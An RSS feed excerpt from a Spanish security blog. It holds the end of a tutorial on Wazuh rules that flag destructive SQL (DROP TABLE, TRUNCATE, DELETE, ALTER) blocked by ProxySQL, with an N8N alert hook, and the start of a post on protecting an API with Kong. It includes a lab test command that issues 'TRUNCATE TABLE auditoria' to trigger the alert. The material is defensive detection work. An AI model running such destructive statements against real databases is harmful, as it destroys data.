  <span class="hljs-comment">&lt;!-- Regla base - Query event de ProxySQL --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100500"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"0"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"event"</span>&gt;</span>COM_QUERY<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL query event<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Query BLOQUEADA (hostgroup_id = -1) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100501"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100500<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"hostgroup_id"</span>&gt;</span>-1<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: Query bloqueada por firewall<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_security,firewall_block,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- DROP bloqueado --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100502"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100501<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>DROP TABLE<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: DROP TABLE bloqueado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_attack,pci_dss_10.2.5,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1485<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- TRUNCATE bloqueado --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100503"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100501<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>TRUNCATE TABLE<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: TRUNCATE TABLE bloqueado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_attack,data_loss,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- DELETE bloqueado --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100504"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100501<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>DELETE FROM<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: DELETE bloqueado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_security,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- UPDATE bloqueado --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100505"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100501<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>UPDATE<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: UPDATE bloqueado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_security,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ALTER bloqueado --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100506"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100501<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>ALTER TABLE<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: ALTER TABLE bloqueado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_security,ddl,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Query PERMITIDA (hostgroup_id &gt;= 0) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100510"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"2"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100500<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"hostgroup_id"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: Query ejecutada exitosamente<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_access,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- SELECT permitido --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100511"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"2"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100510<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>SELECT<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: SELECT ejecutado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_access,query,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- INSERT permitido --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100512"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"4"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100510<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>INSERT<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: INSERT ejecutado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_access,data_modification,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Múltiples bloqueos --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100520"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"14"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"5"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"120"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>100502<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>ProxySQL: Múltiples comandos DROP bloqueados<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>database_attack,attacks,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
</code></pre>
<p>Este es mi tree de directorio, con todo lo necesario.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761087703168/d6f537b9-a8c0-4a6d-bb1e-8fd7eb62b26e.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Si tenes dudas de correr Wazuh en Docker, podes revisar post anterior o en referencias.</p>
</blockquote>
<p>Dejo el proyecto completo en este <a target="_blank" href="https://github.com/safernandez666/ProxySQLAndWazuh">repositorio</a>.</p>
<p>He añadido N8N para gestionar esa alerta. Las opciones son infinitas; en mi caso, enviaré un correo, pero también podríamos bloquear, notificar por Slack y, por qué no, crear un caso en The Hive.</p>
<p>En <code>ossec.conf</code> añadí esto, justo debajo de donde le indico cómo leer los logs de ProxySQL:</p>
<pre><code class="lang-bash">  &lt;!-- ============================================ --&gt;
  &lt;!-- LEER LOGS DE PROXYSQL DIRECTAMENTE             --&gt;
  &lt;!-- ============================================ --&gt;
  &lt;!-- Leer logs de ProxySQL --&gt;
  &lt;localfile&gt;
    &lt;log_format&gt;json&lt;/log_format&gt;
    &lt;location&gt;/var/<span class="hljs-built_in">log</span>/proxysql/queries.log&lt;/location&gt;
  &lt;/localfile&gt;

  &lt;!-- ============================================ --&gt;
  &lt;!-- INTEGRACIÓN CON N8N                          --&gt;
  &lt;!-- ============================================ --&gt;
  &lt;integration&gt;
    &lt;name&gt;custom-n8n&lt;/name&gt;
    &lt;hook_url&gt;http://n8n:5678/webhook/wazuh-proxysql&lt;/hook_url&gt;
    &lt;level&gt;8&lt;/level&gt;
    &lt;rule_id&gt;100502,100503,100504,100505,100506,100507,100508&lt;/rule_id&gt;
    &lt;alert_format&gt;json&lt;/alert_format&gt;
  &lt;/integration&gt;
</code></pre>
<h3 id="heading-prueba">Prueba</h3>
<p>Vamos a ejecutar un comando malicioso para ver cómo reacciona.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761095176257/9a4ccd43-6fbb-49fe-83ed-0346ed9accca.png" alt class="image--center mx-auto" /></p>
<p>Aca la alarma, en <strong>Wazuh</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761097988347/cf00b2f0-1618-4244-a9ac-d8bb0be18b7b.png" alt class="image--center mx-auto" /></p>
<p>Vemos que corrió la integración.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761097692913/783bfad7-50a9-4135-a1ea-481053575a49.png" alt class="image--center mx-auto" /></p>
<p>Con esta evidencia, el Workflow comenzó a correr. Mientras tanto en <strong>Wazuh</strong> podemos ver la alarma.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761131997279/48ee3539-7f73-4428-bb35-9b3374740d28.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-workflow-n8n">Workflow N8N</h3>
<p>Este es sencillo, pero hay miles de opciones! Te recuerdo que en el repositorio tenes la carpeta workflow donde esta el <em>ndjson</em> para importar a tu ambiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761086392860/b9ffdec3-105f-4e46-86d4-2465b0d74b8b.png" alt class="image--center mx-auto" /></p>
<p>Aca el email, que genere.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761086355881/808160fc-99a9-4661-b889-8f12d511c466.png" alt class="image--center mx-auto" /></p>
<p>Excelente señores ya podemos darle acceso al administrador, a través del proxy, para nuestra seguridad.</p>
<p>Espero que les sirva.</p>
<h3 id="heading-comandos-utiles">Comandos Utiles</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># Ver archives</span>
docker <span class="hljs-built_in">exec</span> single-node-wazuh.manager-1 tail -50 /var/ossec/logs/archives/archives.log | tail -10

<span class="hljs-comment"># Ver alerts (ahora deberían aparecer!)</span>
docker <span class="hljs-built_in">exec</span> single-node-wazuh.manager-1 tail -100 /var/ossec/logs/alerts/alerts.log | grep -i proxysql

<span class="hljs-comment"># Ver en formato JSON</span>
docker <span class="hljs-built_in">exec</span> single-node-wazuh.manager-1 tail -50 /var/ossec/logs/alerts/alerts.json | grep -i proxysql

<span class="hljs-comment"># Ver si hay errores de decoder</span>
docker logs single-node-wazuh.manager-1 2&gt;&amp;1 | grep -i <span class="hljs-string">"mysql-decoder\|decoder.*mysql"</span>

<span class="hljs-comment"># Comando Truncate Bloqueado</span>
docker run --rm --network single-node_poc-network mysql:8.0 \
  mysql -h proxysql -P 6033 -u app_user -papp_password produccion \
  -e <span class="hljs-string">"TRUNCATE TABLE auditoria;"</span> 2&gt;&amp;1

<span class="hljs-comment"># Comando Select Habilitado</span>
docker run --rm --network single-node_poc-network mysql:8.0 \
  mysql -h proxysql -P 6033 -u app_user -papp_password produccion \
  -e <span class="hljs-string">"SELECT * FROM usuarios LIMIT 3;"</span> 2&gt;/dev/null
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Protegiendo nuestras API's de manera inteligente.]]></title><description><![CDATA[Introducción
Generé una API Dummy de cuentas bancarias y para protegerla vamos a tener API Manager Kong al frente, reportando los log’s de las consultas que recibe a Wazuh. Si tenemos coincidencia con algunas de las reglas que cargaremos en Wazuh, se...]]></description><link>https://blog.santiagoagustinfernandez.com/protegiendo-nuestras-apis-de-manera-inteligente</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/protegiendo-nuestras-apis-de-manera-inteligente</guid><category><![CDATA[wazuh]]></category><category><![CDATA[#wazuhalerts]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Fri, 10 Oct 2025 15:39:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760110651378/2b19bddf-658d-4534-b235-3e641edd2edc.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduccion">Introducción</h3>
<p>Generé una API Dummy de cuentas bancarias y para protegerla vamos a tener API Manager <strong>Kong</strong> al frente, reportando los log’s de las consultas que recibe a <strong>Wazuh</strong>. Si tenemos coincidencia con algunas de las reglas que cargaremos en <strong>Wazuh</strong>, se responderá al evento. Esa respuesta será dada por <strong>N8N</strong>, ejecutando un flujo de trabajo donde realizaremos diferentes pasos, como agregar la dirección del atacante en una lista negra de <strong>Kong</strong> o enviar un mensaje o, por qué no, levantar el caso en <strong>The Hive</strong>. Como si fuera poco agregamos <strong>Konga</strong> para la gestión grafica de <strong>Kong</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759947281244/72a9bf01-0ed4-4d91-bcd4-23e0f6410484.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-arquitectura">Arquitectura</h3>
<p>Antes de eso deberían descargar la configuración de Wazuh Docker, para esta ocasión uso <em>single-node-stack.</em></p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/wazuh/wazuh-docker.git -b v4.13.1
</code></pre>
<p>Generamos los certificados.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> wazuh-docker/single-node/
docker compose -f generate-indexer-certs.yml run --rm generator
</code></pre>
<p>Una vez que lo corramos, podemos modificar le <em>docker-compose</em> original, con todo el stack necesario para esta prueba de concepto.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">wazuh.manager:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">wazuh/wazuh-manager:4.13.1</span>
    <span class="hljs-attr">hostname:</span> <span class="hljs-string">wazuh.manager</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">ulimits:</span>
      <span class="hljs-attr">memlock:</span>
        <span class="hljs-attr">soft:</span> <span class="hljs-number">-1</span>
        <span class="hljs-attr">hard:</span> <span class="hljs-number">-1</span>
      <span class="hljs-attr">nofile:</span>
        <span class="hljs-attr">soft:</span> <span class="hljs-number">655360</span>
        <span class="hljs-attr">hard:</span> <span class="hljs-number">655360</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"1514:1514"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"1515:1515"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"514:514/udp"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"55000:55000"</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">INDEXER_URL=https://wazuh.indexer:9200</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">INDEXER_USERNAME=admin</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">INDEXER_PASSWORD=SecretPassword</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">FILEBEAT_SSL_VERIFICATION_MODE=none</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">SSL_CERTIFICATE=/etc/ssl/filebeat.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">SSL_KEY=/etc/ssl/filebeat.key</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">API_USERNAME=wazuh-wui</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">API_PASSWORD=MyS3cr37P450r.*-</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_api_configuration:/var/ossec/api/configuration</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_etc:/var/ossec/etc</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_logs:/var/ossec/logs</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_queue:/var/ossec/queue</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_var_multigroups:/var/ossec/var/multigroups</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_integrations:/var/ossec/integrations</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_active_response:/var/ossec/active-response/bin</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_agentless:/var/ossec/agentless</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh_wodles:/var/ossec/wodles</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">filebeat_etc:/etc/filebeat</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">filebeat_var:/var/lib/filebeat</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/wazuh.manager.pem:/etc/ssl/filebeat.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/wazuh.manager-key.pem:/etc/ssl/filebeat.key</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_cluster/kong-rules.xml:/var/ossec/etc/rules/kong-rules.xml:ro</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_cluster/0374-kong-decoder.xml:/var/ossec/etc/decoders/0374-kong-decoder.xml:ro</span> <span class="hljs-comment"># Agrego el decoder para Kong.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_cluster/custom-n8n:/var/ossec/integrations/custom-n8n:ro</span>

    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
  <span class="hljs-attr">wazuh.indexer:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">wazuh/wazuh-indexer:4.13.1</span>
    <span class="hljs-attr">hostname:</span> <span class="hljs-string">wazuh.indexer</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"9200:9200"</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"</span>
    <span class="hljs-attr">ulimits:</span>
      <span class="hljs-attr">memlock:</span>
        <span class="hljs-attr">soft:</span> <span class="hljs-number">-1</span>
        <span class="hljs-attr">hard:</span> <span class="hljs-number">-1</span>
      <span class="hljs-attr">nofile:</span>
        <span class="hljs-attr">soft:</span> <span class="hljs-number">65536</span>
        <span class="hljs-attr">hard:</span> <span class="hljs-number">65536</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh-indexer-data:/var/lib/wazuh-indexer</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/wazuh.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh.indexer.key</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/wazuh.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh.indexer.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer/wazuh.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
  <span class="hljs-attr">wazuh.dashboard:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">wazuh/wazuh-dashboard:4.13.1</span>
    <span class="hljs-attr">hostname:</span> <span class="hljs-string">wazuh.dashboard</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-number">443</span><span class="hljs-string">:5601</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">INDEXER_USERNAME=admin</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">INDEXER_PASSWORD=SecretPassword</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">WAZUH_API_URL=https://wazuh.manager</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">DASHBOARD_USERNAME=kibanaserver</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">DASHBOARD_PASSWORD=kibanaserver</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">API_USERNAME=wazuh-wui</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">API_PASSWORD=MyS3cr37P450r.*-</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh.indexer</span>
    <span class="hljs-attr">links:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh.indexer:wazuh.indexer</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">wazuh.manager:wazuh.manager</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>

<span class="hljs-comment"># ============================================</span>
<span class="hljs-comment"># KONG DATABASE</span>
<span class="hljs-comment"># ============================================</span>
  <span class="hljs-attr">kong-database:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">postgres:15-alpine</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">kong-database</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">poc-network</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">kong</span>
      <span class="hljs-attr">POSTGRES_DB:</span> <span class="hljs-string">kong</span>
      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">kongpass</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"5432:5432"</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">kong-database-data:/var/lib/postgresql/data</span>
    <span class="hljs-attr">healthcheck:</span>
